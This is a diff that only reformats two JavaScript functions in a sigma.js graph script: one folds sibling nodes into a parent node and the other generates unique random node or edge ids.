@@ -194,13 +205,21 @@ function collapseSiblingNodes(sigmaInstance, params, spotlightData){
                 var n = sigmaInstance.graph.nodes(nodeId);
                 //Loop over all the siblings, and push the edges into our new parent node
                 //Push the nodes in as well so we can unfold them
-                siblings.forEach(function(sibling){
-                    sigmaInstance.graph.adjacentEdges(sibling.id).forEach(function(edge){
-                        n.folded.edges.push(edge);
-                    });
+                siblings.forEach(function(sibling) {
+                    sigmaInstance.graph
+                        .adjacentEdges(sibling.id)
+                        .forEach(function(edge) {
+                            n.folded.edges.push(edge);
+                        });
 
                     n.folded.nodes.push(sibling);
-                    spotlightData[sibling.id] = [sibling.label, nodeId, n.label, sibling.type, n.type];
+                    spotlightData[sibling.id] = [
+                        sibling.label,
+                        nodeId,
+                        n.label,
+                        sibling.type,
+                        n.type
+                    ];
                     sigmaInstance.graph.dropNode(sibling.id);
                 });
             }
@@ -209,17 +228,17 @@ function collapseSiblingNodes(sigmaInstance, params, spotlightData){
     return [sigmaInstance, spotlightData];
 }
 
-function generateUniqueId(sigmaInstance, isNode){
+function generateUniqueId(sigmaInstance, isNode) {
     var i = Math.floor(Math.random() * (100000 - 10 + 1)) + 10;
-    if (isNode){
-        while (typeof sigmaInstance.graph.nodes(i) !== 'undefined'){
+    if (isNode) {
+        while (typeof sigmaInstance.graph.nodes(i) !== "undefined") {
             i = Math.floor(Math.random() * (100000 - 10 + 1)) + 10;
         }
-    }else{
-        while (typeof sigmaInstance.graph.edges(i) !== 'undefined'){
+    } else {
+        while (typeof sigmaInstance.graph.edges(i) !== "undefined") {
             i = Math.floor(Math.random() * (100000 - 10 + 1)) + 10;
         }
     }
 
     return i;
-}
\ No newline at end of file
+}